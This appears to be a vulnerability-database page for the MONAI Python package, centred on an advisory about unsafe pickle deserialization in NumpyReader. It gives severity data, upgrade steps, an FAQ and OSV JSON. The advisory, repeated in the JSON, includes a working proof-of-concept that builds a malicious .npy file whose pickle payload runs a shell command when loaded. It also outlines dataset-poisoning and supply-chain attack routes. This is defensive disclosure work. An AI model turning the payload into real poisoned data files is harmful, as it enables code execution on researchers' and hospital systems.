Vulnerabilities in pkg:pypi/monai

PACKAGE
Advisory Summary

GHSA-wg9g-w2j2-8pgr is a HIGH (CVSS 7.8) unsafe deserialization vulnerability (CWE-502: Deserialization of Untrusted Data) affecting MONAI libraries in the PyPI ecosystem. The issue involves unsafe deserialization in numpyreader allows arbitrary code execution via malicious .npy files. Remediation is available by upgrading affected packages to version 1.6.0.

7 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/monai

7 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/monai. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-wg9g-w2j2-8pgr - HIGH MONAI: Unsafe deserialization in NumpyReader allows arbitrary code execution via malicious .npy files
GHSA-qxq5-qhx6-94qw - HIGH Incomplete Fix in MONAI: algo_from_pickle() pickle.loads() RCE still present in v1.5.2 despite GHSA-89gg-p5r5-q6r4 claiming patch
GHSA-89gg-p5r5-q6r4 - HIGH MONAI: Unsafe functions lead to pickle deserialization rce
GHSA-x6ww-pf9m-m73m CVE-2025-58755 HIGH MONAI does not prevent path traversal, potentially leading to arbitrary file writes
GHSA-p8cm-mm2v-gwjm CVE-2025-58757 HIGH Monai: Unsafe use of Pickle deserialization may lead to RCE
GHSA-6vm5-6jv9-rjpj CVE-2025-58756 HIGH MONAI: Unsafe torch usage may lead to arbitrary code execution
GHSA-9rg3-9pvr-6p27 CVE-2026-21851 MODERATE MONAI has Path Traversal (Zip Slip) in NGC Private Bundle Download

GHSA-wg9g-w2j2-8pgr at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-wg9g-w2j2-8pgr
Severity HIGH
CVSS v3.1 Base Score 7.8
CWE Classification CWE-502: Deserialization of Untrusted Data
Affected Product MONAI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix GHSA-wg9g-w2j2-8pgr

To remediate this vulnerability, upgrade all affected MONAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

monai fixed: 1.6.0
pip install monai>=1.6.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show monai

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-wg9g-w2j2-8pgr, inspect your installed packages using pip:

pip show monai

Analyze the terminal output to locate any version of MONAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.0), your application is affected.

Note: The pip show monai command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In MONAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `NumpyReader` class in `monai/data/image_reader.py` unconditionally uses `np.load(name, allow_pickle=True)` (line 1276), enabling arbitrary code execution when loading a crafted `.npy` or `.npz` file. This affects all MONAI versions up to and including the latest commit (5b71547). The `allow_pickle` parameter is hardcoded to `True` and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except `allow_pickle`"). ### Details **Vulnerable code** ([permalink](https://github.com/Project-MONAI/MONAI/blob/5b71547/monai/data/image_reader.py#L1276)): ```python # monai/data/image_reader.py, line 1276, in NumpyReader.read() img = np.load(name, allow_pickle=True, **kwargs_) ``` The `NumpyReader` is automatically selected by MONAI's `LoadImage` transform for any file with `.npy` or `.npz` extension (see `monai/transforms/io/array.py` line 68: `"numpyreader": NumpyReader`). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable. The `allow_pickle=True` parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the `__reduce__` method. **Compare with safe practices in the same project:** The MONAI project has already addressed similar deserialization issues in other code paths: - `torch.load` calls now use `weights_only=True` (after GHSA-6vm5-6jv9-rjpj) - `PersistentDataset` defaults to `weights_only=True` (line 272-275 of dataset.py) However, `NumpyReader` was not included in these security improvements. Additionally, the `NPZDataset` class in the same project correctly uses the default `allow_pickle=False` ([permalink](https://github.com/Project-MONAI/MONAI/blob/5b71547/monai/data/dataset.py#L1433)): ```python # monai/data/dataset.py, line 1433 — safe usage dat = np.load(npzfile) # allow_pickle defaults to False ``` This inconsistency shows that `NumpyReader` was overlooked during security hardening. **The user cannot override this behavior:** ```python # monai/data/image_reader.py, line 1233 (docstring) # kwargs: additional args for `numpy.load` API except `allow_pickle`. ``` The hardcoded `allow_pickle=True` on line 1276 overrides any user attempt to set it via kwargs. **Data flow:** 1. User creates a data pipeline with `LoadImage` transform or uses any MONAI dataset class 2. A `.npy` or `.npz` file is provided as input (e.g., as part of a shared medical dataset) 3. `LoadImage` selects `NumpyReader` based on file extension 4. `NumpyReader.read()` calls `np.load(name, allow_pickle=True)` 5. Malicious pickle payload in the `.npy` file executes arbitrary code ### PoC ```python #!/usr/bin/env python3 """PoC: RCE via NumpyReader allow_pickle=True in MONAI""" import os import tempfile import numpy as np class MaliciousPayload: def __reduce__(self): return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',)) tmpdir = tempfile.mkdtemp(prefix="monai_poc_") malicious_npy = os.path.join(tmpdir, "malicious_mask.npy") np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True) # With MONAI installed: from monai.data.image_reader import NumpyReader reader = NumpyReader() data = reader.read(malicious_npy) # Verify RCE proof = "/tmp/monai_rce_proof.txt" if os.path.exists(proof): print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}") os.remove(proof) os.remove(malicious_npy) os.rmdir(tmpdir) ``` **Output:** ``` [!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed ``` ### Impact An attacker can achieve arbitrary code execution on any machine running MONAI by: 1. **Dataset poisoning**: Placing a malicious `.npy` file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes. 2. **Supply chain attack**: Contributing a malicious `.npy` file to a MONAI tutorial, example, or bundle that other users download and run. 3. **Lateral movement in medical environments**: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server. This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).

GHSA-wg9g-w2j2-8pgr Affected MONAI Versions

1 component(s)
Fixed Versions:
1.6.0
Product / Package Ecosystem Affected Versions Fixed Version
monai
PyPI
< 1.6.0
1.6.0

References

Frequently Asked Questions

What is GHSA-wg9g-w2j2-8pgr?
GHSA-wg9g-w2j2-8pgr is a security vulnerability in MONAI involving Unsafe deserialization in NumpyReader allows arbitrary code execution via malicious .npy files under CWE-502: Deserialization of Untrusted Data.
Which MONAI versions are affected?
Affected versions include releases prior to 1.6.0 across affected packages: monai.
What version fixes GHSA-wg9g-w2j2-8pgr?
Upgrading to 1.6.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is monai affected?
Yes, monai is affected in releases prior to 1.6.0. Upgrade your dependency to 1.6.0 or later.
What is the CVSS score of GHSA-wg9g-w2j2-8pgr?
GHSA-wg9g-w2j2-8pgr has a CVSS v3.1 base score of 7.8 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with GHSA-wg9g-w2j2-8pgr?
GHSA-wg9g-w2j2-8pgr is classified under CWE-502: Deserialization of Untrusted Data (The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.).
How can I check PyPI dependencies for GHSA-wg9g-w2j2-8pgr?
Run the dependency tree command: 'pip show monai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wg9g-w2j2-8pgr",
  "modified" : "2026-08-18T20:22:42Z",
  "published" : "2026-08-18T20:22:42Z",
  "aliases" : [ ],
  "summary" : "MONAI: Unsafe deserialization in NumpyReader allows arbitrary code execution via malicious .npy files",
  "details" : "### Summary\n\nThe `NumpyReader` class in `monai/data/image_reader.py` unconditionally uses `np.load(name, allow_pickle=True)` (line 1276), enabling arbitrary code execution when loading a crafted `.npy` or `.npz` file. This affects all MONAI versions up to and including the latest commit (5b71547). The `allow_pickle` parameter is hardcoded to `True` and cannot be overridden by the user (the docstring explicitly states kwargs are accepted \"except `allow_pickle`\").\n\n### Details\n\n**Vulnerable code** ([permalink](https://github.com/Project-MONAI/MONAI/blob/5b71547/monai/data/image_reader.py#L1276)):\n\n```python\n# monai/data/image_reader.py, line 1276, in NumpyReader.read()\nimg = np.load(name, allow_pickle=True, **kwargs_)\n```\n\nThe `NumpyReader` is automatically selected by MONAI's `LoadImage` transform for any file with `.npy` or `.npz` extension (see `monai/transforms/io/array.py` line 68: `\"numpyreader\": NumpyReader`). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.\n\nThe `allow_pickle=True` parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the `__reduce__` method.\n\n**Compare with safe practices in the same project:**\n\nThe MONAI project has already addressed similar deserialization issues in other code paths:\n- `torch.load` calls now use `weights_only=True` (after GHSA-6vm5-6jv9-rjpj)\n- `PersistentDataset` defaults to `weights_only=True` (line 272-275 of dataset.py)\n\nHowever, `NumpyReader` was not included in these security improvements.\n\nAdditionally, the `NPZDataset` class in the same project correctly uses the default `allow_pickle=False` ([permalink](https://github.com/Project-MONAI/MONAI/blob/5b71547/monai/data/dataset.py#L1433)):\n\n```python\n# monai/data/dataset.py, line 1433 — safe usage\ndat = np.load(npzfile)  # allow_pickle defaults to False\n```\n\nThis inconsistency shows that `NumpyReader` was overlooked during security hardening.\n\n**The user cannot override this behavior:**\n\n```python\n# monai/data/image_reader.py, line 1233 (docstring)\n# kwargs: additional args for `numpy.load` API except `allow_pickle`.\n```\n\nThe hardcoded `allow_pickle=True` on line 1276 overrides any user attempt to set it via kwargs.\n\n**Data flow:**\n\n1. User creates a data pipeline with `LoadImage` transform or uses any MONAI dataset class\n2. A `.npy` or `.npz` file is provided as input (e.g., as part of a shared medical dataset)\n3. `LoadImage` selects `NumpyReader` based on file extension\n4. `NumpyReader.read()` calls `np.load(name, allow_pickle=True)`\n5. Malicious pickle payload in the `.npy` file executes arbitrary code\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: RCE via NumpyReader allow_pickle=True in MONAI\"\"\"\nimport os\nimport tempfile\nimport numpy as np\n\nclass MaliciousPayload:\n    def __reduce__(self):\n        return (os.system, ('echo \"MONAI NumpyReader RCE - Code executed\" > /tmp/monai_rce_proof.txt',))\n\ntmpdir = tempfile.mkdtemp(prefix=\"monai_poc_\")\nmalicious_npy = os.path.join(tmpdir, \"malicious_mask.npy\")\nnp.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)\n\n# With MONAI installed:\nfrom monai.data.image_reader import NumpyReader\nreader = NumpyReader()\ndata = reader.read(malicious_npy)\n\n# Verify RCE\nproof = \"/tmp/monai_rce_proof.txt\"\nif os.path.exists(proof):\n    print(f\"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}\")\n    os.remove(proof)\n\nos.remove(malicious_npy)\nos.rmdir(tmpdir)\n```\n\n**Output:**\n```\n[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed\n```\n\n### Impact\n\nAn attacker can achieve arbitrary code execution on any machine running MONAI by:\n\n1. **Dataset poisoning**: Placing a malicious `.npy` file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.\n\n2. **Supply chain attack**: Contributing a malicious `.npy` file to a MONAI tutorial, example, or bundle that other users download and run.\n\n3. **Lateral movement in medical environments**: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.\n\nThis is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "monai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-wg9g-w2j2-8pgr"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Project-MONAI/MONAI/pull/8875"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Project-MONAI/MONAI"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-18T20:22:42Z",
    "nvd_published_at" : null
  }
}